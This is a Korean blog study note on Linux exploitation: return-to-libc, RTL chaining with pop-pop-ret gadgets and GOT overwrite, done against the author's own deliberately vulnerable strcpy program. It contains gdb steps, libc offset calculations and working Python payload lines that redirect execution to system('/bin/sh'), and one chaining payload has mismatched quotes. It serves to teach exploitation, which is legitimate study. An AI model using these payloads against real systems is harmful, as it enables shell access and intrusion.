Self-Improvement

RTL (Return To Library), RTL Chaining, gadget(PPR), Got Overwrite 실습 본문

리버싱 기초

RTL (Return To Library), RTL Chaining, gadget(PPR), Got Overwrite 실습

JoGeun 2020. 5. 17. 16:58

https://wogh8732.tistory.com/106

https://liveyourit.tistory.com/122

https://shayete.tistory.com/entry/4-Return-to-Library-RTL


RTL은 DEP라는 방어의 우회 공격 기법이다.

 

DEP란 버퍼 오버플로우로 RET(스택 등)에 실행 권한을 없앰으로 쉘코드 주입이 이루어지더라도 실행이 되지 않게 하는 방어 기법이다.

 

윈도우에서 DEP, 리눅스에선 NX-Bit라고 불리운다.

 

RTL을 알기 전 필수?로 알아야하는 PLT, GOT을 간단히 알아본다.

PTL은 외부 라이브러리의 함수들을 나열한 테이블이라 할 수 있다.

GOT는 PTL에 나열된 함수들의 주소가 담겨져 있는 테이블이라 할 수 있다.

 

RTL 공격 페이로드는 <변수+SFP(4바이트)+System함수 주소(4바이트)+인자1(4바이트)+인자2(4바이트)> 이다.

즉 RET에 System 함수 주소를 주입하여 System함수를 실행시키는 것이다.

여기서 인자2에는 "/bin/sh"과 같은 인자를 넣어주는 것이다.(아래의 글을 읽으면 이해될 것이다.)

RTL 공격에 의해 System()함수가 실행되면 인자2에 있던 "/bin/sh"가 실제 system()함수의 인자가 될 것이고 인자1은 system()함수가 종료된 후의 Ret가 될 것이다.

하지만 System()함수만 실행하고 종료될것이면 Dummy 즉, 쓰레기값을 넣어도 무방하다.

 

쉽게 다시 말하자면 우리가 printf()함수를 써서 call하는 것과 RTL 공격으로 ret를 변조하여 printf()를 실행하는 것에 차이가 존재한다.

call printf()를 할 때 printf()을 실행하고 돌아와야할 ret가 스택에 쌓이고 printf()을 실행하게 된다.

 

하지만 RTL 공격에 의해 ret에 printf() 주소를 주입하여 실행할 시엔 되돌아와야할 ret가 존재하지 않게 되는 것이다.

그리고 위의 페이로드에서 인자2가 printf()함수가 실행될때의 진짜 인자가 되는 것이다. 

페이로드의 인자1이 ret로 전환되는 것이다.

 

main() ---> printf()으로 실행될 땐 fun1()을 수행하고 main으로 돌아갈 주소가 ret에 저장된다.

Main() 인자 1 인자 2 ret(fun 끝나고 main에 돌아갈 주소) printf의 SFP ~~~

RTL 공격에 의한 스택은 강제로 printf()를 실행함으로 ret가 생성되지 않아 페이로드의 인자2가 ret로 전환된다!!

 


RTL Chaining, 가젯

RTL을 체인처럼 엮어서 연속적으로 수행하는 것을 말한다. 그리고 이상황에선 가젯(PPR)이 필요하게 된다.

 

예시를 봐본다.

setreuid("실제 사용자 ID","유효사용자 ID") --> 인자가 2개 필요 (다음 레벨의 ID값)

**setreuid 함수의 필요인자 : 3092, 3091

페이로드 : [ 버퍼 ] + [ sfp ] + [ setreuid함수 주소 ] + [ system함수 주소 ] + [ "3092" ] + [ "3092" ] 

위 페이로드는 system함수가 제대로 실행이 되지 않는다. setreuid 함수가 종료되고 system함수가 실행되면 "/bin/sh"을 인자로 받아야하지만 setreuid함수에서 사용된 3092인자가 사용되는 것이다.

 

이를 방지하기 위해 가젯을 사용해준다.

가젯을 찾는방법은 https://kblab.tistory.com/223

 

가젯으로 인해 pop pop을 두번하여 setreuid 함수의 인자 2개가 정리되고 system함수 주소를 ret로 받게되어 정상적으로 이루어진다.

만약 인자가 여러개 일시엔 pop의 갯수만 늘려주면 된다.

가젯 주소를 구하는 방법은 아래와 같다.

"/bin/sh" 문자열 주소를 구하는법

https://kblab.tistory.com/223


RTL, RTL Chainning 실습

1
2
3
4
5
6
7
8
9
10
11
12
#include <string.h>
#include <stdio.h>
 
 
int main(int argc, char *argv[]){
        int num=0;
        char arr[10];
 
        strcpy(arr, argv[1]);
        printf("arr: %s\n", arr);
        return 0;
}
cs

strcpy 함수에서 오버플로우가 발생하여 ret까지 조작을 할 수 있다.

 

NX-bit가 활성화 되어있음으로 쉘코드 주입이 어려워 RTL 방식으로 해결을 해야한다.

 

Main의 어셈블은 간단히 되어있으며 strcpy 함수가 끝나는 시점에 BP를 걸어준다.

 

gef > r AAAA

gef > x/20x $esp

EBP는 0xbffff5f8로 입력한 "AAAA"을 18개를 주입하면 EBP까지 A로 채우게 된다.

EBP+0x4는 ret로 여기에다가 System() 주소와 "/bin/sh" 문자열 주소로 주입을 하면 된다

 

Payload = "A*18" + System() 주소 + "BBBB" + "/bin/sh" 문자열 주소

여기서 중요한 것은 "/bin/sh" 문자열 주소를 구하는 것이다. 여러가지 방법이 있지만 ASLR을 우회하면서 하는 Offset 방식을 이용하는게 좀더 수훨한 것 같다.

리눅스 자체의 system() 함수가 존재하는 /lib/i386-linux-gnu/libc.so.6 에서 system() 주소와 "/bin/sh" 주소 사이의 거리를 구한 다음 코드를 실행하여 구한 system 주소에 위에 구한 거리만큼 더하면 "/bin/sh" 주소를 구할 수 있을 것이다.

"/bin/sh" 문자열 주소는 0x15ba0b

system 주소는 0x3ada0

둘의 거리는 0xffedf395이다

 

이제 소스코드를 컴파일 한 파일을 gdb로 실행하여 main에 bp를 걸고 system 주소를 알아낸다.

system 주소는 0xb7e43da0

위에서 구한 거리 0xffedf395만큼 빼면 0xb7f64a0b가 나온다. 

"/bin/sh" 주소는 0xb7f64a0b로 나오게 된다.

 

이제 Payload를 작성해본다.

Payload : r `python -c 'print "A"*18 + "\xa0\x3d\xe4\xb7" + "BBBB" + "\x0b\x4a\xf6\xb7"'`

RTL 방식으로 하여 쉘을 얻었다.


RTL Chainnig도 위와 비슷하게 작성하면 되며 예시로 system() 함수를 2번 불러 보도록 한다.

아래의 페이로드는 처음에 system()함수를 호출하고 끝날 시 가젯주소(pop pop ret)로 인해 다시 system()함수를 ret가 되어 호출하게 된다.

Payload : r `python -c 'print "A"*18 + "\xa0\x3d\xe4\xb7" + 가젯주소 +  "\x0b\x4a\xf6\xb7"'` + "BBBB" +
"\xa0\x3d\xe4\xb7" + "BBBB" + "\x0b\x4a\xf6\xb7"'`

 

가젯주소를 구해보면 0x80484db (pop ret) 이다.

 

Payload : r `python -c 'print "A"*18 + "\xa0\x3d\xe4\xb7" + "\xdb\x84\x04\x08" +  "\x0b\x4a\xf6\xb7" +
"\xa0\x3d\xe4\xb7" + "BBBB" + "\x0b\x4a\xf6\xb7"'`

 

처음 system() 함수를 얻을 시 \xda\x84\x04\x08(가젯)는 다시 RET가 되고 \x0b\x4a\xf6\xb7("/bin/sh")를인자로  받아 쉘을얻으며 종료될 시 가젯에 의해 pop ret가 수행되어 다시 system()함수를 수행하면서  ret는 "BBBB" 쓰레기 값으로 되고 \x0b\x4a\xf6\xb7("/bin/sh")인자로 얻어 수행되는 원리이다.

     

처음 얻은 쉘을 종료해도 쉘이 또 다시 작동되어 쉘을 얻을 수 있다.


Got Overwrite도 수행을 해본다.

Got Overwrite 경우는 소스코드에서 strcpy의 got 주소를 system 주소로 변경하여 쉘을 얻어보도록 한다.

main+0에 BP를 걸고 실행한 후 strcpy의 got 주소를 확인한다.

PLT 주소는 0x8048310 GOT 주소는 0x804a010이다.

 

system의 주소는 0xb7e43da0이다.

 

set 명령어로 strcpy 주소를 system 주소로 Overwrite해준다.

gef > set *0x804a010=0xb7e43da0

그리고 ni로 진행을 해주면서 strcpy 함수에서 자세히 확인할 시 system 함수로 이동하게 된다.